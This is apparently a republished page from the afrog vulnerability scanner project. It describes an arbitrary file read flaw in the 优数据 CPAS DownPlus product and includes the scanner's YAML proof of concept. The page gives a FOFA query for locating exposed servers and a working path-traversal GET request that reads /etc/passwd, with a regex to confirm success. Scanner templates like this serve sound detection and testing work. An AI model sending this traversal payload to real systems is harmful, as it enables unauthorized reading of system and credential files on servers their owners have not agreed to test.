youshuju-cpas-downplus-fileread: 优数据CPAS DownPlus文件读取漏洞

漏洞描述

优数据CPAS DownPlus文件读取漏洞，可以读取任意文件内容。 fofa: body="/cpasm4/static/cap/font/iconfont.css"

PoC代码[已公开]

id: youshuju-cpas-downplus-fileread

info:
  name: 优数据CPAS DownPlus文件读取漏洞
  author: zan8in
  severity: high
  verified: true
  description: |-
    优数据CPAS DownPlus文件读取漏洞，可以读取任意文件内容。
    fofa: body="/cpasm4/static/cap/font/iconfont.css"
  reference:
    - https://mp.weixin.qq.com/s/U5fhtRCaoUxj-tay-d_oMw
  tags: youshuju,fileread,lfi
  created: 2024/12/31

rules:
  r0:
    request:
      method: GET
      path: /cpasm4/plugInManController/downPlugs?fileId=../../../../etc/passwd&fileName=1.txt
    expression: response.status == 200 && "root:.*?:[0-9]*:[0-9]*:".bmatches(response.body)
expression: r0()

来源: https://github.com/zan8in/afrog/blob/main/pocs/afrog-pocs/vulnerability/youshuju-cpas-downplus-fileread.yaml